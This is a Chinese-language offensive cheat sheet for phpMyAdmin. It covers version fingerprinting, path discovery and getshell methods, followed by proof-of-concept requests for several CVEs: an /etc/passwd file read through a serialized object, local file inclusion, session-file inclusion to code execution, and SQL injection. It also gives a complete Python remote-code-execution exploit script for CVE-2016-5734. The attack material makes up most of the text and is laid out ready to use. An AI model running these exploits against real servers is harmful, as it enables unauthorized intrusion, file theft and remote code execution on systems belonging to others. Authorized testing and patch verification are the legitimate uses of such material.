phpMyAdmin常见利用
获取版本信息
一般在根目录后加入:
README
ChangeLog
doc/html/index.html
Change
changelog.php
readme.php
Documetation.html
Documetation.txt
translators.html
phpMyAdmin权限
- SQL注入获取账号密码
- 暴破用户名密码
获取网站绝对路径
- phpinfo()
- 利用报错页面
@@datadir
、@@basedir
根据数据库相关的绝对路径,猜测网站绝对路径- 使用load_file()函数读取一些默认配置文件去寻找路径,例如PHP配置文件、Apache/nginx配置文件等
利用
- 写一句话getshell
- 通过日志getshell
- UDF提权
- MOF提权
详情参见MySQL提权相关、SQL注入相关
。
其他漏洞
WooYun-2016-199433
任意文件读取
phpMyAdmin2.x
POC:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
CVE-2014-8959
本地文件包含
phpMyAdmin 4.0.1–4.2.12
PHP version < 5.3.4
POC:
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
# 注意替换token值
CVE-2016-5734
后台RCE
PhpMyAdmin:4.0.10.16 之前的4.0.x版本;4.4.15.7 之前的 4.4.x版本;4.6.3之前的 4.6.x版本
PHP version: 4.3.0-5.4.6
POC:
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
CVE-2018-12613
后台文件包含
phpMyAdmin : 4.8.0和4.8.1
利用:
# 写session文件
select '<?php phpinfo();exit;?>'
http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** // *** 为phpMyAdmin的COOKIE值
CVE-2018-19968
任意文件包含/RCE
phpMyAdmin :4.8.0-4.8.3
利用:
# 创建数据库,并将PHP代码写入session文件
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
# 访问如下url,在foo数据库中生成phpMyAdmin的配置表
http://xxxx/chk_rel.php?fixall_pmadb=1&db=foo
# 在foo数据库中插入如下数据
INSERT INTO pma__column_infoSELECT ‘1’, ‘foo’, ‘bar’, ‘baz’, ‘plop’,
‘plop’, ‘plop’, ‘plop’,
‘../../../../../../../../tmp/sess_***’,‘plop’; // ***为phpMyAdmin的COOKIE值;需要注意session文件的位置,不同环境会有差异
# 访问如下url,实现包含session文件
http://xxxx/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
CVE-2020-0554
后台SQL注入
phpMyAdmin 4< 4.9.4
phpMyAdmin 5< 5.0.1
POC:
http://xxxx/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
# 执行完毕后仅知道这条语句的执行成功与否,失败的话会报错,因此后续可以利用报错注入